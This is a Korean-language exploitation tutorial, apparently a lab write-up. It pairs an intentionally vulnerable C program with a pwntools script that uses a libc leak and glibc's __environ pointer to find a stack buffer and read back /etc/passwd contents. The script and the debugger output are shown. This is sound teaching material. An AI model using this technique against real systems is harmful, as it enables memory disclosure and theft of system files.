// Name: environ.c
// Compile: gcc -o environ environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
int fd = open("/etc/passwd", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
한경변수는 매번 변할 수 있는 동적인 값들의 모임으로, 시스템의 정보를 갖고 있는 변수입니다. 우리나 프로그램이 절대 경로를 입력하지 않아도 명령어가 실행되는 이유는 환경변수에 디렉터리가 명시되어 있기 때문입니다.
리눅스 바이너리를 공격할 때 상황에 따라 스택 주소를 알아내야 할 때가 종종있습니다. 환경 변수에 대한 정보는 스택 영역에 존재하며, 라이브러리 함수를 실행할 때에도 해당 정보를 참조하기 때문에 환경 변수를 가리키는 포인터가 별도로 선언되어 있습니다. 따라서 해당 라이브러리 주소를 알고 있고, 임의의 주소를 읽을 수 있는 취약점이 있다면 스택 주소를 알아낼 수 있습니다.
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "environ"
295: 00000000003ee098 8 OBJECT WEAK DEFAULT 35 _environ@@GLIBC_2.2.5
1007: 00000000003ee098 8 OBJECT WEAK DEFAULT 35 environ@@GLIBC_2.2.5
1352: 00000000003ee098 8 OBJECT GLOBAL DEFAULT 35 __environ@@GLIBC_2.2.5
libc.so.6 파일에서 environ 심볼을 찾아보면 __environ이라는 이름의 전역 변수가 있습니다.
이는 시스템 명령어를 실행하기 위한 execve 계열의 함수와 getenv 등 환경 변수와 관련된 함수에서 참조하는 변수입니다.
예제를 디버깅하여 __environ 포인터에 어떤 주소가 있는지 확인해보겠습니다.
$ gdb-gef environ
gef➤ start
gef➤ x/gx &__environ
0x7ffff7ffe118 <environ>: 0x00007fffffffe0e8
gef➤ vmmap 0x00007fffffffe0e8
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
gef➤ x/10gx 0x00007fffffffe0e8
0x7fffffffe0e8: 0x00007fffffffe337 0x00007fffffffe923
0x7fffffffe0f8: 0x00007fffffffe933 0x00007fffffffe955
0x7fffffffe108: 0x00007fffffffe985 0x00007fffffffe998
0x7fffffffe118: 0x00007fffffffe9a5 0x00007fffffffe9c0
0x7fffffffe128: 0x00007fffffffe9df 0x00007fffffffe9fc
gef➤ x/s 0x00007fffffffe337
0x7fffffffe337: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:
__environ은 더블 포인터로, 각각의 환경 변수 문자열이 포함된 주소를 갖고 있는 것을 확인할 수 있습니다. 해당 주소를 vmmap으로 확인해보면 stack 영역임을 알 수 있습니다.
만약 라이브러리의 주소를 알고 있고, 해당 주소를 읽을 수 있는 취약점이 있다면 스택 주소를 릭하고 공격에 이용할 수 있습니다.
ion@Galaxy-Book:~/dreamhack/__environ$ checksec environ
[*] '/home/ion/dreamhack/__environ/environ'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
예제는 "/etc/passwd" 파일의 내용을 읽고 스택 버퍼에 저장합니다. 메인 함수에는 stdout 라이브러리 주소를 출력하고, 반복해서 임의 주소에 있는 값을 읽을 수 있는 취약점이 존해합니다.
1. __environ 주소 계산
stdout을 통해 베이스 주소를 계산하고, __environ 포인터의 주소를 알아냅니다.
2. 스택 주소 계산
__environ 주소를 알아냈다면, 임의 주소 읽기 취약점을 통해 스택 주소를 알아내고, "/etc/passwd" 파일의 내용이 저장된 스택 버퍼의 주소를 계산합니다. 해당 주소는 환경 변수와 상대적인 거리가 매번 같으므로, 디버깅을 통해 주소의 간격을 알아냅니다.
3. 파일 내용 읽기
파일의 내용을 저장하고 있는 스택 버퍼 주소를 알아냈다면, 임의 주소 읽기 취약점을 통해 스택 버퍼를 출력하여 파일의 내용을 흭득합니다.
libc_base = stdout - stdout_symbols
libc_environ = libc_base + __environ_symbols
# Name: environ.py
from pwn import *
p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
print(hex(libc_base))
print(hex(libc_environ))
p.interactive()
$ python3 environ.py
[+] Starting local process './environ': pid 79
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7f17b5db1000
0x7f17b619f098
[*] Switching to interactive mode
file_content = __environ - (__environ - file_content)
디버깅을 통해 __environ - file_content를 찾아보면
gef➤ disas read_file
Dump of assembler code for function read_file:
...
0x0000555555400a2c <+54>: lea rcx,[rbp-0x1010]
0x0000555555400a33 <+61>: mov eax,DWORD PTR [rbp-0x1014]
0x0000555555400a39 <+67>: mov edx,0xfff
0x0000555555400a3e <+72>: mov rsi,rcx
0x0000555555400a41 <+75>: mov edi,eax
0x0000555555400a43 <+77>: call 0x555555400810 <read@plt>
0x0000555555400a48 <+82>: mov eax,DWORD PTR [rbp-0x1014]
...
gef➤ b * read_file+77
gef➤ r
gef➤ x/x $rsi
0x7fffffffcbb0: 0x00000000
gef➤ p/x __environ
$1 = 0x7fffffffe0e8
gef➤ $ 0x7fffffffe0e8-0x7fffffffcbb0
5432
0x1538
__environ - file_content = 0x1538
__environ 주소에서 0x1538을 뺀 주소에 있는 값을 출력하면 "/etc/passwd" 파일 내용을 읽을 수 있습니다.
# Name: environ.py
from pwn import *
p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
print(hex(libc_base))
print(hex(libc_environ))
p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))
p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, b"\x00"))
file_content = stack_environ - 0x1538
print("stack_environ: " + hex(stack_environ))
p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))
p.interactive()
$ python environ.py
[+] Starting local process './environ': pid 7606
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7fd946495000
0x7fd946883098
stack_environ: 0x7ffca4a9f608
[*] Switching to interactive mode
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...